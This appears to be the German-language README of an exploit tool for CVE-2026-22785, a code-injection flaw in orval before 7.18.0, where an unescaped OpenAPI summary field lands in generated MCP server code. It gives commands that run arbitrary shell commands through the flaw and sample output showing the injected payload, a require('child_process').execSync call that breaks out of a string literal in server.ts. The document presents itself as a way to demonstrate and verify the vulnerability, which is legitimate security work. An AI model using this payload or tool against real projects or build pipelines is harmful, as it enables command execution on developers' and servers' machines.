langbyyi/cve-2026-22785Exploit-Tool für CVE-2026-22785, eine kritische Code-Injection in orval < 7.18.0. Bietet Shell-Befehlsausführung und Dateiscannen, um die Schwachstelle zu demonstrieren und die Payload-Injection zu verifizieren.
orval < 7.18.0 fügt beim Generieren von MCP-Servercode das summary-Feld der OpenAPI-Spezifikation direkt in die Vorlage ein, ohne es zu escapen, was zu Code-Injection führt.
cd exploit
npm install
# Befehl ausführen (Exploit)
python cve_tool.py shell <Befehl>
# Beispiel
python cve_tool.py shell whoami
python cve_tool.py shell "node --version"
python cve_tool.py shell dir
# Datei scannen
python cve_tool.py scan <Datei>
<Befehlsausgabe>
[+] CVE-2026-22785: Payload-Injection erfolgreich
[+] Injektionsstelle: server.ts:31
Generierter Code in server.ts:
server.tool(
'getApiDemo',
'API.' + require('child_process').execSync('whoami', {}),//',
getApiDemoHandler
);